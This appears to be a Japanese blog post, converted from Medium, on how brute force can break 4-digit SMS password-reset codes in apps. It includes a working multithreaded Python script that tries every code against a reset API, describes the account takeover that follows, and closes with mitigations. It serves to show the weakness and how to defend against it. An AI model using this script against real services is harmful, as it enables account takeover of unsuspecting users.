パスワード再設定のSMS認証コードの強度とセキュリティ問題
Pythonを使ったブルートフォース攻撃の深刻さの実演

Photo by Matt Artz
はじめに
本文は特に高度なセキュリティ技術を扱っているわけではなく、先日あるプラットフォームのウェブサイトを利用している際のふと思いつきで、安全性を試してみたところ問題を発見した話です。
ウェブサイトやアプリのパスワード再設定機能を利用する際、一般的に2つの選択肢があります。1つはアカウント名やメールアドレスを入力し、トークンを含むパスワードリセットページのリンクがメールで送信され、そのリンクをクリックしてページを開くことでパスワードをリセットできる方法です。この部分には特に問題はありません。ただし、以前の記事で述べたように、設計に脆弱性がある場合は問題となります。
もう一つのパスワードリセット方法は、登録した携帯電話番号を入力する方法です(主にAPPサービスで使用されます)。その後、SMSで認証コードが送信され、認証コードを入力するとパスワードをリセットできます。しかし利便性のため、多くのサービスは認証コードを数字のみで設定しています。また、iOS 11以降でPassword AutoFill機能が追加されたため、携帯電話が認証コードを受信するとキーボードが自動的に認識し、入力候補を表示します。

查找 公式ドキュメント によると、Appleは認証コードの自動入力の判別ルールを明示していません。しかし、自動入力をサポートするほとんどのサービスは数字のみを使用しており、数字と英字の混合した複雑な組み合わせは使えないと推測されます。
問題
数字パスワードの組み合わせはブルートフォース攻撃の可能性があり、特に4桁のパスワードは顕著です。組み合わせは0000〜9999の10,000通りしかなく、複数のスレッドや複数台の機器を使って分割してブルートフォース攻撃が可能です。
検証リクエストの応答に0.1秒かかると仮定すると、10,000の組み合わせ=10,000回のリクエストになります。
解読に必要な試行時間:((10,000 * 0.1) / スレッド数) 秒
スレッドを使わなくても、正しいSMS認証コードを試すのに16分強しかかかりません。
パスワードの長さや複雑さが不足していることに加え、認証コードに試行回数の上限が設定されておらず、有効期限が長すぎるという問題もあります。
組み合わせ
総合すると、このセキュリティ問題は主にAPP側でよく見られます。ウェブサービスでは、多くの場合、複数回の誤入力後に画像認証を追加したり、パスワードリセット時にセキュリティ質問を複数入力させることで、認証リクエストの難易度を上げています。また、ウェブサービスの認証がフロントエンドとバックエンドで分離されていない場合、毎回の認証リクエストでページ全体を取得する必要があり、リクエストの応答時間が長くなります。
APP側はプロセス設計とユーザーの利便性のために、パスワードリセットの手順を簡略化することが多く、中には携帯電話番号の認証だけでログインできるAPPもあります。API側で防御がされていないと、セキュリティ上の脆弱性が生じます。
実践
⚠️警告⚠️ 本文はこのセキュリティ問題の重大さを示すためのものであり、悪用しないでください。
検証リクエストAPIのスニッフィング
万事はスニッフィングから始まります。この部分については、以前の記事「 APPはHTTPS通信を使っているのに、データが盗まれた。 」および「 Python+Google Cloud Platform+Line Botを使って定例作業を自動化する 」を参照してください。最初の記事で原理を理解し、二番目の記事の Proxyman を使ったスニッフィングをおすすめします。

前後端が分離したウェブサービスでも、Chrome → 検査 → Network → 認証コード送信後にどんなリクエストが送られたかを確認できます。

こちらでは取得した検証コードのリクエストは以下と仮定します:
POST https://zhgchg.li/findPWD
レスポンス:
{
"status":false
"msg":"認証エラー"
}
ブルートフォース攻撃用Pythonスクリプトの作成
crack.py:
import random
import requests
import json
import threading
phone = "0911111111"
found = False
def crack(start, end):
global found
for code in range(start, end):
if found:
break
stringCode = str(code).zfill(4)
data = {
"phone" : phone,
"code": stringCode
}
headers = {}
try:
request = requests.post('https://zhgchg.li/findPWD', data = data, headers = headers)
result = json.loads(request.content)
if result["status"] == True:
print("Code is:" + stringCode) # コードが正しい場合の出力
found = True
break
else:
print("Code " + stringCode + " is wrong.") # コードが間違っている場合の出力
except Exception as e:
print("Code "+ stringCode +" exception error \(" + str(e) + ")") # 例外発生時の出力
def main():
codeGroups = [
[0,1000],[1000,2000],[2000,3000],[3000,4000],[4000,5000],
[5000,6000],[6000,7000],[7000,8000],[8000,9000],[9000,10000]
]
for codeGroup in codeGroups:
t = threading.Thread(target = crack, args = (codeGroup[0],codeGroup[1],))
t.start()
main()
スクリプトを実行した後、次の結果が得られました:

驗證碼等於:1743
1743 を入力してパスワードをリセットし、元のパスワードを変更するか、直接アカウントにログインします。
Bigo!
解決策
-
パスワードリセットに追加の情報認証を導入する(例:誕生日、秘密の質問)
-
認証コードの長さを増やす(例:Appleの6桁数字)、認証コードの複雑さを増やす(AutoFill機能に影響しない場合)
-
認証コードの試行回数が3回を超えた場合、無効にし、ユーザーに再送信を促す必要があります。
-
認証コードの有効期限を短縮する
-
認証コードの試行回数が多すぎる場合はデバイスをロックし、画像認証コードを追加する
-
APP は SSL Pinning や通信の暗号化・復号化を強化する(盗聴防止)
関連記事
Post は Medium から ZMediumToMarkdown によって変換されました。



コメント